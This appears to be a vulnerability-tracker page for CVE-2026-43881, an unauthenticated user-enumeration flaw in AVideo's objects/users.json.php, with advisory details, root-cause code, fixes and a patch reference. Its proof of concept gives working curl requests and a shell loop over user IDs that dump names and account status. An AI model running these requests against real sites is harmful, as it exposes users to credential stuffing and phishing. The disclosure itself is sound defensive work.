AVideo CVE-2026-43881
MEDIUMSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
objects/users.json.php exposes two unauthenticated paths that disclose the full set of registered user accounts. The isCompany request parameter causes the handler to set $ignoreAdmin = true for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside User::getAllUsers()/User::getTotalUsers(). A second path accepts users_id and calls User::getUserFromID() directly with no permission check, producing a single-user oracle. Both paths return id, identification (display name), channel URL, photo, background, and status, plus the total account count.
Details
Root cause #1 - isCompany admin bypass
objects/users.json.php:13-53 (HEAD, v29.0):
$canAdminUsers = canAdminUsers(); // line 13 - for output filtering only
...
if (!empty($_REQUEST['users_id'])) {
$user = User::getUserFromID($_REQUEST['users_id']); // path #2
...
} else if (empty($_REQUEST['user_groups_id'])) {
$isAdmin = null;
$isCompany = null;
$ignoreAdmin = canSearchUsers() ? true : false;
...
if (isset($_REQUEST['isCompany'])) { // line 39
$isCompany = intval($_REQUEST['isCompany']);
if (!$canAdminUsers) {
if (User::isACompany()) { $isCompany = 0; }
else { $isCompany = 1; }
$ignoreAdmin = true; // line 47 - bypass flag
}
}
...
$users = User::getAllUsers($ignoreAdmin, [...], @$_GET['status'], $isAdmin, $isCompany);
$total = User::getTotalUsers($ignoreAdmin, @$_GET['status'], $isAdmin, $isCompany);
}User::isACompany() with no argument (objects/user.php:1629-1646) returns !empty($_SESSION['user']['is_company']), which is false for unauthenticated visitors. So the anonymous-attacker branch takes the else arm: $isCompany = 1; $ignoreAdmin = true;.
The admin-only guards in User::getAllUsers() (objects/user.php:2315-2321) and User::getTotalUsers() (objects/user.php:2480-2484) are now short-circuited:
public static function getAllUsers($ignoreAdmin = false, ...) {
if (!Permissions::canAdminUsers() && !$ignoreAdmin) { // $ignoreAdmin === true → guard skipped
_error_log('You are not admin and cannot list all users');
return false;
}
...
$sql = "SELECT * FROM users u WHERE 1=1 ...";
if (isset($isCompany)) {
if (!empty($isCompany) && $isCompany == self::$is_company_status_ISACOMPANY || ...) {
$sql .= " AND is_company = $isCompany ";
} else {
$sql .= " AND (is_company = 0 OR is_company IS NULL) ";
}
}Note: when the attacker supplies isCompany=0, the else branch is taken because of PHP's operator precedence (!empty($isCompany) && ... short-circuits to false), and the SQL filter becomes is_company = 0 OR is_company IS NULL - i.e. every non-company user. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied rowCount.
Root cause #2 - users_id single-record oracle
objects/users.json.php:20-29 calls User::getUserFromID($_REQUEST['users_id']) with no auth check. User::getUserFromID() (objects/user.php:2028-2075) queries SELECT * FROM users WHERE id = ? and returns id, identification, photo, background, status, channelName, about, tags, with only password/recoverPass/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with total = 1 when the user exists and total = 0 otherwise - a perfect sequential-ID existence oracle.
Why there is no blocking mitigation
- No router-level auth: the
.htaccessrewrite (.htaccess:317) maps/users.jsondirectly to this file. - No CSRF/origin gate: the file is explicitly listed in
objects/functionsSecurity.php:893under “Read-only endpoints that accept POST params”, meaning the same-origin/CSRF middleware is skipped by design. - The output-filter block (
objects/users.json.php:66-77) only limits which fields are echoed - it does not suppress existence or display-name leakage, andtotalis always echoed on line 97. rowCountis attacker-controlled with no upper bound (line 17-18 only sets a default of 10).
PoC
Target: a default AVideo 29.0 install at http://target/. No session cookie, no CSRF token, no API key required.
Path 1 - bulk listing via isCompany admin-check bypass
$ curl -s 'http://target/objects/users.json.php?isCompany=0&rowCount=1000¤t=1'
{"current":1,"rowCount":1000,"total":42,"rows":[
{"id":"1","identification":"admin","photo":"https://target/videos/userPhoto/photo1.png",
"background":"https://target/...","status":"a","creator":"<div ...channel URL...>"},
{"id":"2","identification":"alice",...,"status":"a",...},
...
]}The same call with isCompany=1 returns the subset of company-flagged users; isCompany=0 returns all non-company users. Both branches set $ignoreAdmin = true.
Path 2 - sequential-ID existence / display-name oracle
$ for i in $(seq 1 10000); do
curl -s "http://target/objects/users.json.php?users_id=$i" \
| jq -r '[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv'
done
1 1 admin a
1 2 alice a
0 null null null
1 4 bob i
...total=1 → ID exists; identification field leaks the login/display name; status reveals active (a) vs inactive (i).
Verification of the branch logic
// Reproduces objects/users.json.php:39-48 for an unauthenticated attacker.
$canAdminUsers = false; $ignoreAdmin = false;
$_SESSION = []; // unauthenticated
$_REQUEST = ['isCompany' => '1'];
if (isset($_REQUEST['isCompany'])) {
$isCompany = intval($_REQUEST['isCompany']);
if (!$canAdminUsers) {
$isACompany = !empty($_SESSION['user']['is_company']); // false
$isCompany = $isACompany ? 0 : 1;
$ignoreAdmin = true;
}
}
var_dump($isCompany, $ignoreAdmin); // int(1) bool(true) → admin guard SKIPPEDImpact
An unauthenticated remote attacker can:
- Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs).
- Obtain the total registered-user count, useful for platform sizing and post-compromise reporting.
- Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo’s login/password-recovery endpoints.
- Cross-reference leaked display names against the known password-recovery oracle to identify valid targets.
No auth is required, the request is a single unauthenticated GET, and rowCount is unbounded, so the full user list can be harvested in one request.
Recommended Fix
- Require authentication at the top of
objects/users.json.php, and gate the bulk-listing path to users who legitimately need to search:
require_once $global['systemRootPath'] . 'objects/user.php';
User::loginCheck(); // reject anonymous callers
if (!canSearchUsers()) {
header('HTTP/1.1 403 Forbidden');
die('{"error":"forbidden"}');
}- Remove the
isCompany-driven$ignoreAdmin = truebranch (users.json.php:41-48). It served no purpose that the explicitcanSearchUsers()check above does not already cover, and its only observable effect is the bypass described here. - Gate the
users_idpath behind the same check, or restrict its output to the caller’s own record when the caller is not an admin:
if (!empty($_REQUEST['users_id'])) {
$requestedId = intval($_REQUEST['users_id']);
if (!canSearchUsers() && $requestedId !== User::getId()) {
header('HTTP/1.1 403 Forbidden');
die('{"error":"forbidden"}');
}
$user = User::getUserFromID($requestedId);
...
}- Consider clamping
$_REQUEST['rowCount']to a sane ceiling (e.g. 100) and removingobjects/users.json.phpfrom the CSRF-bypass list inobjects/functionsSecurity.php:893unless there is a specific mobile-client requirement - and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.
AnalysisAI
Unauthenticated user enumeration in AVideo objects/users.json.php allows remote attackers to disclose all registered user accounts via an isCompany parameter that bypasses admin-only access controls, and a users_id parameter that acts as a sequential-ID existence oracle. An unauthenticated attacker can harvest the complete user directory-including display names, numeric IDs, profile URLs, photos, and active/inactive status-in a single unbounded GET request, enabling credential stuffing and phishing campaigns. The vulnerability affects AVideo through version 29.0; vendor patch available.
Technical ContextAI
AVideo is a PHP-based video platform with user management exposed through objects/users.json.php. The vulnerability stems from two separate authentication bypasses in the same endpoint. Root cause #1: when the isCompany request parameter is set by an unauthenticated caller, the code path at line 39-48 checks !$canAdminUsers (false for anonymous users) and unconditionally sets $ignoreAdmin = true, which then short-circuits the admin-only guard inside User::getAllUsers() and User::getTotalUsers() functions. User::isACompany() returns false for unauthenticated sessions (no $_SESSION['user']['is_company']), causing the attacker to take the else branch that enables the bypass. Root cause #2: the users_id path (line 20-29) calls User::getUserFromID() with no permission check before querying the users table and returning id, identification, photo, background, status, and channelName fields. The endpoint is explicitly excluded from CSRF middleware in functionsSecurity.php:893, and .htaccess routes /users.json directly to this file. CWE-306 (Missing Authentication Check) covers both paths; the isCompany bypass is also an authorization/logic flaw allowing privilege escalation of access control checks.
RemediationAI
Apply the vendor-released patch from commit d9cdc702481a626b15f814f6093f1e2a9c20d375, which: (1) caps $_REQUEST['rowCount'] to a maximum of 100 for users without canSearchUsers() permissions, preventing bulk harvesting; (2) adds authentication and permission checks to the users_id path, allowing only admins, search-capable users, or authenticated users fetching their own record; and (3) removes the dangerous $ignoreAdmin = true assignment triggered by the isCompany parameter. For immediate mitigation before patching, add a User::loginCheck() call at the top of objects/users.json.php to reject unauthenticated requests, though this may break legitimate mobile-client integrations relying on POST-based CSRF bypass-in that case, implement token-based authentication instead. Alternatively, restrict objects/users.json.php to admin-only access via .htaccess or router rules until the patch can be deployed, or remove the endpoint from the CSRF-bypass list in functionsSecurity.php:893 if no external API clients depend on it. Verify the fix version from the vendor's official release notes before deploying.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-6rvw-7p8v-mjfq